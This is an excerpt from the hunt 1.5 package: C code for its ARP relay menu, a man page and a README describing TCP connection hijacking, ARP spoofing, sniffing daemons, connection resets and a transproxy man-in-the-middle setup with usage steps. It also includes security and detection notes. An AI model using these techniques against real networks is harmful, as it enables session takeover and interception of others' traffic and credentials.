i, buf, host_lookup(ri->dst_addr, hl_mode), count_mask(ri->dst_mask), buf_dst_ports, flags); } static void relay_list_items(void) { struct list_iterator li; struct relay_item *ri; int i = 0; list_iter_set(&li, &l_relay_db); while ((ri = list_iter_get(&li))) { relay_item_print(i++, ri); if (i % lines_o == 0) lines_o_press_key(); } list_iter_end(&li); } static void relay_add_item(void) { struct relay_item *ri; unsigned int src_ip, dst_ip; unsigned int src_mask, dst_mask; int src_ports[MAX_PORTS + 1], dst_ports[MAX_PORTS + 1]; char name_buf[128], name_buf2[256]; char ethtap_mac[ETH_ALEN]; int flags_c; int nr, ethtap_fd; ethtap_fd = -1; if (menu_choose_host_mask_ports_dfl("src ip addr/mask ports", &src_ip, &src_mask, src_ports, 0, 0, NULL) < 0) return; if (menu_choose_host_mask_ports_dfl("dst ip addr/mask ports", &dst_ip, &dst_mask, dst_ports, 0, 0, NULL) < 0) return; if ((flags_c = menu_choose_char("flags: [n]one, [d]rop, [e]th_relay", "nde", 'd')) < 0) return; if (flags_c == 'e') { if (menu_choose_string("eth relay device", name_buf, sizeof(name_buf), "tap0") < 0) return; strcpy(name_buf2, "/dev/"); strcat(name_buf2, name_buf); if ((ethtap_fd = open(name_buf2, O_RDWR)) < 0) { printf("cannot open %s for read/write\n", name_buf2); return; } get_ifc_info(name_buf, NULL, ethtap_mac); } if ((nr = menu_choose_unr("insert at", 0, list_count(&l_relay_db), list_count(&l_relay_db))) == -1) return; ri = ri_allocate(); ri->src_addr = src_ip; ri->src_mask = src_mask; port_htons(src_ports); memcpy(ri->src_ports, src_ports, sizeof(int) * (MAX_PORTS + 1)); ri->dst_addr = dst_ip; ri->dst_mask = dst_mask; port_htons(dst_ports); memcpy(ri->dst_ports, dst_ports, sizeof(int) * (MAX_PORTS + 1)); switch (flags_c) { case 'd': ri->flags = RIFL_PKT_DROP; break; case 'e': ri->flags = RIFL_PKT_ETHTAP_RELAY; ri->ethtap_name = strdup(name_buf); ri->ethtap_fd = ethtap_fd; memcpy(ri->ethtap_mac, ethtap_mac, ETH_ALEN); break; default: ri->flags = 0; } list_insert_at(&l_relay_db, nr, ri); } static void relay_mod_item(void) { struct relay_item *ri; unsigned int src_ip, dst_ip; unsigned int src_mask, dst_mask; int src_ports[MAX_PORTS + 1], dst_ports[MAX_PORTS + 1]; char name_buf[128], name_buf2[256]; int nr; char flags_dfl; int flags_c, ethtap_fd; ethtap_fd = -1; relay_list_items(); if ((nr = menu_choose_unr("choose item", 0, list_count(&l_relay_db) - 1, list_count(&l_relay_db) - 1)) == -1) return; if (!(ri = list_at(&l_relay_db, nr))) return; if (menu_choose_host_mask_ports_dfl("src ip addr/mask ports", &src_ip, &src_mask, src_ports, ri->src_addr, ri->src_mask, ri->src_ports) < 0) return; if (menu_choose_host_mask_ports_dfl("dst ip addr/mask ports", &dst_ip, &dst_mask, dst_ports, ri->dst_addr, ri->dst_mask, ri->dst_ports) < 0) return; switch (ri->flags) { case RIFL_PKT_DROP: flags_dfl = 'd'; break; case RIFL_PKT_ETHTAP_RELAY: flags_dfl = 'e'; break; default: flags_dfl = 'n'; } if ((flags_c = menu_choose_char("flags: [n]one [d]rop [e]th_relay", "nde", flags_dfl)) < 0) return; if (flags_c == 'e') { if (menu_choose_string("eth relay device", name_buf, sizeof(name_buf), ri->ethtap_name) < 0) return; if (strcmp(name_buf, ri->ethtap_name) != 0) { strcpy(name_buf2, "/dev/"); strcat(name_buf2, name_buf); if ((ethtap_fd = open(name_buf2, O_RDWR)) < 0) { printf("cannot open %s for read/write\n", name_buf2); return; } } } port_htons(src_ports); port_htons(dst_ports); ri->src_addr = src_ip; ri->src_mask = src_mask; memcpy(ri->src_ports, src_ports, sizeof(int) * (MAX_PORTS + 1)); ri->dst_addr = dst_ip; ri->dst_mask = dst_mask; memcpy(ri->dst_ports, dst_ports, sizeof(int) * (MAX_PORTS + 1)); if (flags_c != 'e' || ethtap_fd >= 0) { if (ri->ethtap_fd >= 0) { close(ri->ethtap_fd); ri->ethtap_fd = -1; } if (ri->ethtap_name) { free(ri->ethtap_name); ri->ethtap_name = NULL; } } switch (flags_c) { case 'd': ri->flags = RIFL_PKT_DROP; break; case 'e': ri->flags = RIFL_PKT_ETHTAP_RELAY; if (ethtap_fd >= 0) { ri->ethtap_fd = ethtap_fd; ri->ethtap_name = strdup(name_buf); } break; default: ri->flags = 0; } } static void relay_del_item(void) { int i; struct relay_item *ri; relay_list_items(); i = menu_choose_unr("item nr. to delete", 0, list_count(&l_relay_db) - 1, -1); if (i >= 0) { ri = list_remove_at(&l_relay_db, i); ri_free(ri); } } void relay_menu(void) { char *r_menu = "l) list relay database\n" "a/m/d) add/mod/del entry\n" "x) return\n"; char *r_keys = "ladmx"; int run_it; run_it = 1; while (run_it) { switch (menu("relay database", r_menu, "arps/relay", r_keys, 0)) { case 'l': relay_list_items(); break; case 'a': relay_add_item(); break; case 'd': relay_del_item(); break; case 'm': relay_mod_item(); break; case 'x': run_it = 0; break; } } } hunt-1.5/man/ 40755 0 0 0 6742566713 11112 5ustar rootroothunt-1.5/man/hunt.1100644 0 0 64375 6776074733 12311 0ustar rootroot.TH HUNT 1 .\" .\" .SH HUNT hunt \- Network security auditing tool. .SH SYNOPSIS .B hunt .I "[-V] [-v] [-i interface]" .br .SH "DESCRIPTION" This manual page documents briefly the .BR hunt command. This manual page was written for the Debian GNU/Linux distribution because the original program does not have a manual page. Instead, it has documentation in the GNU Info format; see below. .SH READ FIRST Please make sure you KNOW what you are doing before using hunt. It is recommended that you should test how it behaves on some test connections and then use it wisely. .SH OVERVIEW Hunt is a program for intruding into a connection, watching it and resetting it. It has several features, which I didn't find in any product like Juggernaut or T-sight that inspired me in my development. I found Juggernaut not flexible enough for further development so I started from scratch (see FEATURES and DESIGN OVERVIEW). Note that hunt is operating on Ethernet and is best used for connections which can be watched through it. However, it is possible to do something even for hosts on another segments or hosts that are on switched ports. The hunt doesn't distinguish between local network connections and connections going to/from Internet. It can handle all connections it sees. .PP Connection hijacking is aimed primarily at the telnet or rlogin traffic but it can be used for another traffic too. The reset, watching, arp, ... features are common to all connections. .SH FEATURES .TP .B Connection Management .B * Setting what connections you are interested in. .br .B * Detecting an ongoing connection (not only SYN started). .br .B * Normal active hijacking with the detection of the ACK storm. .br .B * ARP spoofed/Normal hijacking with the detection of successful ARP spoof. .br .B * Synchronization of the true client with the server after hijacking (so that the connection don't have to be reset). .br .B * Resetting connection. .br .B * Watching connection. .TP .B Daemons .B * Reset daemon for automatic connection resetting. .B * ARP spoof/relayer daemon for ARP spoofing of hosts with the ability to relay all packets from spoofed hosts. .B * MAC discovery daemon for collecting MAC addresses. .B * Sniff daemon for logging TCP traffic with the ability to search for a particular string. .TP .B Host Resolving .B * Deferred host resolving through dedicated DNS helper servers. .TP .B Packet Engine .B * Extensible packet engine for watching TCP, UDP, ICMP and ARP traffic. .B * Collecting TCP connections with sequence numbers and the ACK storm detection. .TP .B Misc .B * Determining which hosts are up. .TP .B Switched Environment .B * Hosts on switched ports can be spoofed, sniffed and hijacked too. .SH COMMAND LINE PARAMETERS .B -V Print Version .br .B -v Verbose (print pids of created threads) .br .B -i .I interface Listen on this interface. Default is eth0 .SH TECHNICAL EXPLANATION Let me explain some technical issues which I use in hunt and which are essential for understanding how it works and what you should expect. The important terms are IP spoofing, ARP spoofing and ACK storm. Even if you are familiar with them, you can get some new information. .TP .B IP spoofing You set the packet source address to the IP address of the host you pretend to be. .TP .B ARP spoofing You set the packet source hardware address (source MAC address) to the address of the host you pretend to be. .TP .B Simple Active Attack against TCP connections - It is a well known type of attack in which you send a packet with spoofed IP addresses and possibly also with spoofed ARP addresses (true MAC addresses of client and server - not fake ones as explained further). In this way, you can force a command to the stream but you are likely to receive the ACK storm (as explained further) unless the original client host of the connection is running Linux. .TP .B ARP spoofing I use this term also for forcing the remote host to think that the host I want to be has a different MAC address so the remote host sends replies to that MAC address and the original client host is not able to receive them (but hunt is watching carefully and handles all consequences) (Explaining how to force a host on the network to think that the other host has a different MAC I leave as an exercise - I encourage you to read the source code). Please note that I use the term ARP spoofing instead of the term ARP forcing or something like that. So don't be confused, if I say ARP spoofing, I mean using some MAC address of a host or just some fake MAC address. Note that ARP spoofing (with my meaning to force some MAC) doesn't work on Solaris2.5 because it has expiration timers on ARP entries so you can't easily force Solaris to drop an ARP entry. The entry usually expires after 20min or less (but you have a chance to force it and hunt supports this mode). The expiration timers on Solaris are set by: .IP .B ndd -set /dev/ip ip_ire_flush_interval 60000 .I /* 1 min */ .br .B ndd -set /dev/arp arp_cleanup_interval 60 .I /* 1 min */ .IP I encourage you to ask your netadmin to set the above values on all Solaris machines. The Win95/NT4sp3, Linux2.0, OSF1 V4.0, HP-UX10.20 are not protected in this way so you can easily use the described technique on them (actually, they have timers, but they are not operating like in Solaris; in fact, only Solaris is the exception). Actually, hunt uses this technique such that it wants to force a fake MAC of the server to the client and a fake MAC of the client to the server. Then both the server and the client are sending packets to that faked MACs (and hunt can of course handle them). However, it is sufficient that only one host has a fake MAC of the other host. The ACK storm can't occur in this situation either. So you can use this technique even if one end is Solaris and the other isn't. You will just succeed in the other host and that is enough. So the only problem is when the connection is between two Solaris machines. However, if there is any root connection ongoing you can easily push the commands suggested above without ARP spoofing to the connection and alter the expiration timers of the ARP cache. .TP .B ACK Storm The ACK storm is caused by majority of TCP stacks (!!! Linux2.0 is an exception !!!). Let's imagine that you send some data to an ongoing connection to the server (as if sent by the client - with expected seq. numbers, ... ). The server responds with the acknowledgment of the data you sent but this acknowledgment is received by the original client too. But from the original client point of view, the server has acknowledged data that doesn't exist on the client. So something strange occurred and the original client sends the "right" sequence number with ACK to the server. But the TCP rules say that it is required to generate an immediate acknowledgment when an out-of-order segment is received. This ACK should not be delayed. So the server sends the acknowledgment of non-existent data to the client again. And the client responses, ... Only if the source host of the connection is Linux then the ACK storm doesn't occur. Note that if you use ARP spoofing (forcing) then the ACK storm can't come because one or both ends will send packets with fake MACs and those packets are received by hunt rather than by the other host. .TP .B Connection Reset With a single properly constructed packet you can reset the connection (RST flag in TCP header). Of course, you have to know the sequence number but it is not a problem for hunt which is watching all the time. You can reset server, client, or both. When you reset only one end the other end is reset when it tries to send data to the first host which will response with RST because of the connection reset on it. .TP .B Connection sniffing/watching The simplest thing you can do is to silently sit in you chair and watch hunt output about any connection which you choose from the list. .TP .B Connection Synchronization Well, that's one of the main features of hunt. If you put some data to the TCP stream (through simple active attack or ARP spoofing), you desynchronize the stream from the server/original client point of view. After some work done on that connection you can just reset it or you can try to synchronize both original ends again. That is not an easy task. The user on the client is prompted to type some chars and some chars are sent to the client and server. The main goal of all stuff is to synchronize the sequence numbers on both client and server again. .TP .B Switch/Segment traffic rerouting With ARP spoofing you can even force switch so that it will send you the traffic for hosts on another segment/switched port. This is because a switch will think that the MAC belongs to your port. Be careful if your switch has some security policy and MACs have been explicitly set up on a per port basis - but in fact I don't ever see such a configuration on "ordinary" network. .TP .B ARP-relay daemon Don't be confused. I use this term for hunt daemon which is responsible for inserting packets to the network (rerouting) of all data it receives from ARP spoofed hosts. .TP .B Switched environment Well, the hunt is now capable of watching and hijacking hosts that are on switched ports. In common you can't watch the hosts traffic on switched ports but if you first ARP spoof them (with ARP spoof daemon menu) you are able to look at the connections that are between that hosts. First you do arp spoof and the hosts will send you the traffic and from that time you can list the connections between them, then you can watch and hijack them. It is commonly accepted that the switches protect your connections again inside intruders and spoofers. Well, that is still true for carefully setuped switches. The switches that are plugged to the LAN without any port security configuration are useless in the job to protect your LAN. .SH DESIGN OVERVIEW The development model is based on a packet engine (hunt.c) which runs in its own thread and captures packets from the network. The packet engine collects information of TCP connections/starting/termination, sequence numbers, and MAC addresses. It collects the MACs and seq. numbers from the server point of view and separate MACs and seq. numbers from the client point of view. So it is prepared for hijacking. This information (seq. num., MAC, ...) is available to modules so they don't have to analyze and collect it. .PP Modules can register functions with the packet engine which are then invoked when new packets are received. A module function determines if the module is interested in a packet or not and can place the packet in a module specific list of packets. A module function can also send some packet to the network if it is desirable to do it very fast. The module (usually in some other thread so it needs to be scheduled to be run) then gets packets from the list and analyzes them. In this way, you can easily develop modules which perform various activities. .PP Packets to be sent as a response to the network are described by structures so you don't have to care about some default fields or checksums. At this time, functions for TCP, ICMP and ARP traffic are already prepared. (UDP is missing because I don't use it in any module) .PP A separate set of daemons is used for host resolving (DNS). That is because the gethostbyname/gethostbyname_r function is protected by mutex (As far as I know - it was so two years ago - I didn't try it now) so you can't run it truly parallel in a multithreaded environment. Therefore, the commonly used workaround is to fire up some helper daemons through fork which will run gethostbyname. .SH USER ENVIRONMENT Well, the user environment isn't graphical but I believe that you will like it. .PP In the title of all menus is some status information about hunt. First, there is an indication with which menu you are working. Second, the number of packets received by hunt is shown. Hunt pre-allocates some buffers for packets; the status of free and allocated buffers is displayed as the third value. The number of free buffers is low for a high loaded network or the ACK storm or if you have poor hardware. In my case, for example, the numbers 63/64 were normally indicated meaning that only one buffer was used, but after the ACK storm, I have something like 322/323. Note that the buffers once allocated are not freed. The low number of free buffers can also mean some bug in hunt but I think I carefully debugged all modules to this kind of bug. The last indicator reports which daemons (actually threads) are running. They are: R - reset daemon, Y - arp relayer, S - sniffer, M - MAC discoverer. If you switch on the verbose option you get additional information about how many packets were dropped - they were fragments (see the bugs) or were malformed, and how many packets belong to other protocols than TCP, UDP, ICMP and ARP. In the prompt for user input is indicator that will tell you through '*' char that hunt added new connection(s) to the connection list since last connection listening. .TP .B General interface In all menus the x key works as escape. The network mask is denoted by the ip_address/mask notation where mask is the number of 1's on the left side of the network mask. For example, 0.0.0.0/0 means everything and 192.168.32.10/32 means only that host. .IP For most modules is used: .br .B l) list items .br .B a) add item .br .B m) modify item .br .B d) delete item .br They will be referred in this text as l) a) m) d) .TP .B List/Watch/Reset connection You can obtain the list of connections tracked by the hunt packet engine. Which connections are tracked is specified in the options menu. You can interactively watch or reset these connections. You can also perform hijacking on them (next two menu items). .TP .B ARP/Simple hijack ARP/Simple hijack offers you an interactive interface for the insertion of data to the selected connection. You can perform ARP spoofing for both connection ends, for only one end or you can not to do it at all. If you don't do ARP spoofing then you probably receive the ACK storm after typing the first char. When you do ARP spoofing, it is checked if it succeeds. If not, you are prompted if you want to wait until it succeeds (you can interrupt this waiting through CTRL-C of course). After inserting some data to the connection you type CTRL-] and then you can synchronize or reset the connection. If you choose synchronization, the user is prompted to type some chars and after he does so the connection will be in the synchronous state. You can interrupt the synchronization process with CTRL-C and then you can reset the connection. Note that CTRL-C is used widely for interrupting an ongoing process. The CTRL-] (like telnet) is used for finishing the interactive insertion of data to the connection. The ARP/Simple hijack doesn't automatically reset the connection after it detects the ACK storm so you have to do it yourself. Note also that ARP/Simple hijack works with the ARP relayer (as described further) so that other connections are not affected. Normally, if you ARP spoof two servers then the ARP/Simple hijack handles only one selected connection between these two hosts but other connections between these two hosts look like they freeze. If you start the ARP relayer, then these other connections are handled and rerouted through. So other connections from one spoofed host to the other are not affected at all. It is recommended to run ARP relayer if you do ARP hijacking of two servers. Note that if you ARP spoof (force) some client MAC to the server then only connections going from the server to that client are affected. Other connections from the server to other machines are untouched. .TP .B Simple hijack Simple hijack allows you to insert a command to the data stream of the connection. When you insert the command, hunt waits for it to complete up to a certain timeout and if the ACK storm doesn't occur, you are prompted for the next command. After that, you can synchronize or reset the connection. Note that you can use the interactive interface to simple hijack when you use ARP/simple hijack without ARP spoofing but if you use full interactive interface of ARP/simple hijack without ARP spoofing you are likely to get the ACK storm immediately after typing the first char. So this mode of hijacking is useful when you have to deal with the ACK storm because it sends your data to the connection in a single packet. When the ACK storm is in progress it is very hard to deliver other packets from hunt to the server as the network and server are congested. .SH DAEMONS I call them daemons but they are actually threads. All daemons can be started and stooped. Don't be surprised when you insert or modify some rule in a daemon and it does nothing. The daemon is not running - you have to start it. All daemons are by default stopped even though you can alter the configuration. Common commands in the daemons menu are: .IP .B s) start the daemon .br .B k) stop the daemon .br .B l) list configuration items .br .B a) add config. item .br .B m) modify config. item .br .B d) delete config. item .TP .B Reset daemon This daemon can be used to perform automatic resets of ongoing connections that hunt can see. You can describe which connections should be terminated by giving src/dst host/mask and src/dst ports. The SYN flag off means that all specified connections should be terminated (even ongoing). The SYN flag on means that only newly started connections are reset. So the connections that are in progress are not affected. Don't forget to start the daemon. .TP .B ARP daemon Here you can do ARP spoofing of hosts. You enter src and dst addresses and desired srcMAC. The dst is then forced to think that src has srcMAC. You can use some fake MAC or better MAC of host that is currently down. You just want that the hosts will send you all the data (so you can even look at packets that are on a different segment or switched port that you will not normally see) The ARP module looks carefully for packets which will break ARP spoofing of hosts and handle them but you can even specify the refresh interval for ARP spoofing but it is not necessary to do it. Set the refresh interval only if you are experienced with some bad or strange behavior of spoofed hosts. Also there is the possibility to test the hosts for successful spoof with the ability to force that spoof - it is recommended to test the ARP spoof if something looks like it is wrong or the computer doesn't send the traffic to the hunt. The force option is handful if the first spoofing packets are discarded with switch so if you are running hunt against hosts on switched ports you can try to run the force mode by example for 10s and then break it with CTRL-C if the spoof continues to fail. The ARP relayer daemon is used to perform ARP relaying of ARP spoofed connections. When you insert some ARP spoof of hosts the ARP spoofing is performed immediately even if the relayer isn't running!!!. But if the ARP spoofing succeeds, the connections will look like they freeze. For rerouting (not IP routing !) these connections through your hunt you need to start the ARP relayer. The relayer works well with ARP/simple hijack so once you have hosts ARP spoofed with ARP relaying you can easily do ARP/simple hijack which will detect that the hosts are already ARP spoofed and takes over the connection immediately. With this technique you can easily become man in the middle from the beginning of the connection even though your host with hunt isn't an IP gateway. I encourage you to write other application specific protocol handlers for the man in the middle attack as it is really simple with this framework. .TP .B Sniff daemon The purpose of the sniff daemon is to log specified packets. The sniff daemon can also search for a simple pattern (string) in the data stream (see the bugs section). You can specify which connection you are interested in, where to search (src, dst, both), what do you want to search, how many bytes you want to log, from what direction (src, dst, both) and to what file should the daemon write. All logged files are stored in the .sniff directory. The default file name for logging is composed of the host and port names. In the options submenu you can set how to log new lines (\r,\n) (as new-lines or as hex num.). .TP .B MAC discovery daemon This daemon is used to collect MAC addresses corresponding to the specified IP range. You can enter the time after which the daemon will try collecting again (default is 5min). .TP .B Host up menu The host up module determines which hosts are up (with TCP/IP stack). You just specify the IP range and that space is then searched for running hosts. It is capable to determine which hosts have network interface in promiscuous mode. The promiscuous mode usually shows that the host is running some kind of sniffer/network analyzer. .TP .B Options menu In the options menu you can tune different things: .TP .B l) a) m) d) .I List/Add/Mod/Del Connection Policy Entry .br First of all you can select which connections should be tracked. The default setting is to look at telnet connections from all hosts but you can adjust this behavior by the specification of src/dst address/mask src/dst port pairs. With commands: l) a) m) d) you set what you are interested in. .TP .B c) .I Connection Listening Properties .br You can set whether the sequence numbers and MACs of ongoing connections will be displayed during connection listening. .TP .B h) .I Host Resolving .br You can turn on resolving of hosts to their names. As the resolving is deferred you don't get the names of hosts immediately. Just try to list connections several times and you will see the hosts names. (I used this deferred approach because I didn't want any delay of interface that the resolving can cause). .TP .BR r) .I Reset ACK Storm Timeout .br This timeout is used in simple hijack to automatically reset the connection after the ACK storm is detected. Note that you can receive the ACK storm even in arp/simple hijack in case you don't perform ACK spoofing of any host. .TP .B s) .I Simple Hijack Timeout For Next cmd .br Simple hijack has not an interactive connection interface. That means you write the whole command which will be inserted into the connection data stream. If no data is transferred through the connection up to this timeout, you are prompted for the next command. .TP .B q) .I ARP Request/Reply Packets .br Number of request or reply packets hunt will send when it is doing arp spoofing. .TP .B t) .I ARP Request Spoof Through Request .br Option whether hunt will send ARP spoof request or ARP spoof reply when it receives broadcasted ARP request which will break ARP spoof. .TP .B w) .I Switched Environment .br Some optimization for switched environment. It works perfectly for non switched environment also. .TP .B y) .I ARP Spoof With My MAC .br Set the originating MAC address of sent spoofed ARP to my (hunt) ethernet MAC - sometimes helps in switched environment. .TP .B e) .I Learn MAC From IP Traffic .br You can enable that MAC addresses will be learned from all IP traffic not just from ARP. .TP .B p) Number Of Printed Lines Per Page In Listening .br Self explanatory .TP .B v) Verbose On/Off .br Self explanatory .SH TESTED ENVIRONMENT .B HUNT program requirements: .br .B * Linux >= 2.2 .br .B * Glibc with linuxthreads .br .B * Ethernet .PP .B Tested hosts: .br Linux 2.0, Linux 2.1, Linux 2.2, Solaris 2.5.1, NT4sp3/4, Win95, OSF V4.0D, HPUX 10.20, IRIX 6.2 .PP .B Tested network equipment: .br BayNetworks 28115, 28200, 300 switches 3Com SuperStack II 3000, 1000 switches .SH SECURITY NOTES Please note the already known truth that telnet and similar programs which send passwords in clear text are vulnerable to the described attacks. Programs using one time passwords are also easily attacked and in fact they are useless if someone can run a program like hunt. Only full encrypted traffic isn't vulnerable to these attacks but note that you can become a man in the middle if you use ARP spoofing (forcing) without the ACK storm and you can try to do something. Also unconfigured switch doesn't protect you from sniffing or hijacking. It is necessary to carefully configure port security on the switches in order to protect the computers on the switched ports. .PP Detecting attacks isn't an easy task. For ARP spoofing there are tools which can detect it. The ACK storm is detectable by some sophisticated network analyzers (you can detect the pattern of the ACK storm or the statistics of ACKs without data). If you run hunt on your network you can detect the ACK storm because the hunt can detect the ACK storm pattern. .SH PERFORMANCE NOTE Make sure you are running hunt on idle machine with sufficient power (I used PII-233 with 128MB RAM) and without any other packet analyzer because if you use advanced features like arp spoofing or hijacking hunt needs to reply fast with it's own packets inserted into the traffic on the network. .SH DOWNLOAD This software can be found at .B http://www.gncz.cz/kra/index.html .br or at .br .B ftp://ftp.gncz.cz/pub/linux/hunt/ .SH KNOWN BUGS .B * some structures are poorly locked through mutexes .br .B * if you watch connection then some escape sequences from that connection can influent your terminal. Note that your terminal is named "Linux" ("xterm" - if you run it from X, ...) but the escape sequences are for the client side terminal which may or may not be Linux so you can get some mess. .br .B * sniff is not capable to search for a pattern which crosses the packet boundary. That means it can't search for a pattern of the user typed input as this input is usually transferred with 1B data long packets. .br .B * hunt doesn't support defragmentation so the IP fragments have to be dropped. .SH BUG FIXES, SUGGESTIONS Please send bug descriptions, patches, suggestions, new modules or successful stories to .B kra@gncz.cz .SH ACKNOWLEDGMENTS I would like to thank Sven Ubik < ubik@fsid.cvut.cz > for his invaluable input and feedback. .SH FINAL WORD Note that this software was written only for my fun in my free time and it was a great exercise of TCP/IP protocols. I am now familiar with seq. numbers, ACKs, timeouts, MACs, checksums, ... to the finest level. As I have some pretty good background this "hunt" challenge made me think that I hadn't known TCP/IP as great as I had thought. You are welcome to read the source code and to try to modify it or write your own modules. .SH DEBIAN This manpage was converted from internal documentation by .B Jon Marler < .I jmarler@debian.org > for the Debian GNU/Linux operating system. hunt-1.5/README.tp100644 0 0 25605 7114730472 11753 0ustar rootroot/* * hunt * * Copyright (C) 1999 kra * Designed and implemented by kra * */ DISCLAIMER ---------- Authors are not responsible of any damages this software can cause. NEW DIRECTION IN THE MAN IN THE MIDDLE ATTACK --------------------------------------------- The man in the middle attack is well known attack where you receive/sniff packets from network, modify them and insert them back to the network. In fact the routers/gateways do exactly this but they modify only some IP headers in the IP packets so they do not reassemble data stream. Furthermore sniffer or host running hunt does not usually act as a router. Through ARP spoofing we can manage that instead to the router or ordinary destination host the originator of connection will send traffic to as. But there is another problem. How to deal with TCP stream that is in IP packets. We can try to reassemble it in our user code as most more sophisticated sniffers do but this task is very costly (in terms of programming work) and to handle full TCP state machine with all its options, features, etc. is not simply easy task. We would prefer that this job will do someone else, let say Linux kernel. And this is one of the reasons why I like Linux very much. We will use the transproxy capability of Linux to reassemble data stream from IP packets and the user code will handle only application data as does destination host. Even though the approach is not fully transparent currently for source nor destination host and is not able to handle connections that are in the progress already but the concept is here and with some hooks it would be probably possible to extend it to fully transparent solution. USED TERMINOLOGY ---------------- I use the term "src" (source) host for the host that originated TCP connection and "dst" (destination) host for the host to which "src" host tries to connect. (It might be sometimes confusing with ARP spoofing terminology used in ARP spoof attack - see README). Of course data can flow from destination to source as well. ARP SPOOFING AND REDIRECTING THE TRAFFIC ---------------------------------------- One of the method used to redirect traffic on ethernet to hunt program is arp spoofing. We have to manage to persuade the host that the ethernet hardware address (MAC) of router or destination host is something different and then listen for packets with that fake MAC from source host. The host will think the destination is simply on different MAC so we will have the chance to sniff that packets. This approach has two nice features. One, the destination host will not receive this traffic unless it is in promiscuous mode (as usually isn't), second, we will see the traffic even when we are on completely switched port. This concept is already well known from previous versions of hunt so it is nothing new to as but transproxy support relies on it. RECEIVING/SENDING DATA FROM/TO SOURCE HOST ------------------------------------------ Now how we can receive packets from src host? We can do that by simply picking the traffic from interface in promiscuous mode (when we are using fake mac ARP spoofing) and try to reassemble it. But there is more sophisticated solution (it has some drawbacks though as nothing is at zero cost). If we will use our interface mac address as the fake mac address which we will claim is a mac address of someone else and convince remote host that our mac address is actually mac address of the destination host then the src host will send the traffic with the IP address of destination but with our interface MAC address. In this case we can setup transproxy redirection in kernel so such a traffic that come to our mac address with destination (not our) IP address will be picked up by kernel and redirected to another TCP port. That means the kernel will do complete reassembly and TCP state machine and we then can read that data form the socket to which the traffic was redirected. The transproxy mode has one nice capability. When we write to that socket back some data then the IP packets carrying data will have true destination IP address and not the address of our host. So the source machine can receive our packets with correct source/destination IP numbers. The connection will really look like from source to destination (and not from source to our host). Recall that we are using our interface MAC address because if we used some fake one then the Linux kernel would not pick up packets from the network for transproxy delivery. It would be a nice feature if the Linux interface in promiscuous mode could pick up and deliver the packets of configurable (not only host interface) MAC address to the TCP/IP stack for transproxy redirection. RECEIVING/SENDING DATA FROM/TO DESTINATION HOST ----------------------------------------------- So we have the traffic from one end (from the host who originated the connection). Unfortunately the transparency for destination side is not ready yet. Currently the program that runs on our host and receives redirected data from source has to make some ordinary connections - probably to the destination host, so the connection will look like from our host to dst host. (We would prefer of course that it will look like from source to destination but it is not done currently). DEVELOPING TRANSPROXY PROGRAMS ------------------------------ The major feature of using transproxy support in the kernel is the fact that we do not have to reassemble TCP stream or handle anything behind TCP. The transproxy user programs that do all the magic with data are ordinary programs that use socket interface. We just read/write from/to sockets. There are plenty of books out there to describe how to use sockets. Assigning proper IP addresses, port numbers etc does Linux kernel. That is nice, isn't it. NEW OPTIONS IN HUNT ------------------- The changes to support all this was done mainly in arp spoof daemon. It now supports ARP spoof of IP ranges and even hosts that are currently down. So immediately after the host boots and tries to communicate with some destination the hunt automaticly spoof that host. Host that is down (or disconnected from the network) does not prevent as doing ARP spoof on it. In the case that host is down the ARP spoof will be simply deferred to the time host boots and tries to communicate - hunt will inform as that it is not able to find MAC address of that host and let as proceed further. But we do not need these new options if we are spoofing just one host. New options in ARP spoof daemon menu: L) List ranges of IP addresses that was inserted through I) I) Insert IP range of hosts to which you want to insert some fake MAC address of a host. R) Remove IP range spoof of hosts T) Test IP range spoof of hosts These options can be used with normal connection sniffing and hijacking of course. Use rather l,i,r,t options (lower case) when you are spoofing just single host. TRANSPROXY SUPPORT PROGRAMS --------------------------- There are new directories and programs. tpsetup/transproxy is a program to start transproxy mode in Linux kernel. Make sure you have compiled the kernel with transproxy support (you have to enable IP_FIREWALL option and ALWAYS_DEFRAGMENT and IP_TRANSPARENT_PROXY options when you compile the kernel) and have ipchains installed. The knowledge how plain transproxy works (from the user point of view) is of course big plus for you and you will then be able to understand what is going on and what I am actually describing. The script contains two variables that control on which port it listens and to which port the traffic will be redirected. The DST_PORT is the port to which ordinary clients (source hosts) tries to connect. The DST_PORT_PROXY is the port to which the data are redirected and on which listens transproxy user program that does all the black magic with data stream. tpserv/tpserv is a program that implements the proxy, the attack or whatever you want to call it. It just listens on DST_PORT_PROXY that is configurable with -p option and receives the reassembled data stream from kernel. Currently this program supports a mode in which echoes everything back to the src host or the mode in that it connects to destination to which the client wanted to connect and relay everything from client to that destination and everything from destination to the client. (See the limitations on how the connection will look like on destination host). It is possible to insert some code to this program to modify data from/to source/destination (but this you will have to do yourself) The tpserv program supports these options: -v verbose (prints connections) -vv even more verbose (prints connections and received/send packets) -D daemon mode -c connection mode (default is echo mode) HOW IT WORKS TOGETHER --------------------- Here is small example how to use it. Of course as always with hunt, think before and then run or modify it. 1. At the beginning run tpsetup/transproxy program. The default destination port is 7000 and redirecting port is 7044 2. Run tpserv/tpserv -v (or -vv) 3. Run hunt and enter arp spoof daemon menu. Do not start the daemon unless you modify the tpsetup/transproxy script "i" insert the single arp spoof in this order: - IP address (name) of your gateway or IP address (name) of destination host if the host is in the same IP subnet as source host - as fake mac address enter 'my' or enter your interface MAC address - enter IP address (name) of source host (client) from which you want to receive data - connections. - optionally enter refresh interval "t" test if the spoof was successful 4. from the source host try to run telnet 1.1.1.1 7000 (or telnet destination_name 7000) and type some chars. The chars should be echoed back by tpserv program. You can then play little bit with DST_PORT setting in setup/transproxy script and/or -c option of tpserv program or change tpserv to modify data going from/to source/destination. FEATURES -------- - the connection from source looks like from source to destination - the Linux kernel does all the TCP/IP processing - the user code does not have to deal with raw TCP stream and implements only user data processing/modification LIMITATIONS ----------- - we have to use our host MAC address as fake spoofing MAC address, the traffic from source to destination will have this MAC address - traffic to the destination is originated form our host so it really looks like from our host to destination if used. - it is possible to start only from newly created connections, it is not possible to handle ongoing connections Be aware of limitations. As I said it does not work fully transparent so maybe you will be little bit disappointed that the destination host does not see the original client IP address. Maybe this limitation will be removed in the future but I do not promise anything ;-) BUG FIXES, SUGGESTIONS ---------------------- Please send bug descriptions, patches, suggestions, or successful stories to kra@gncz.cz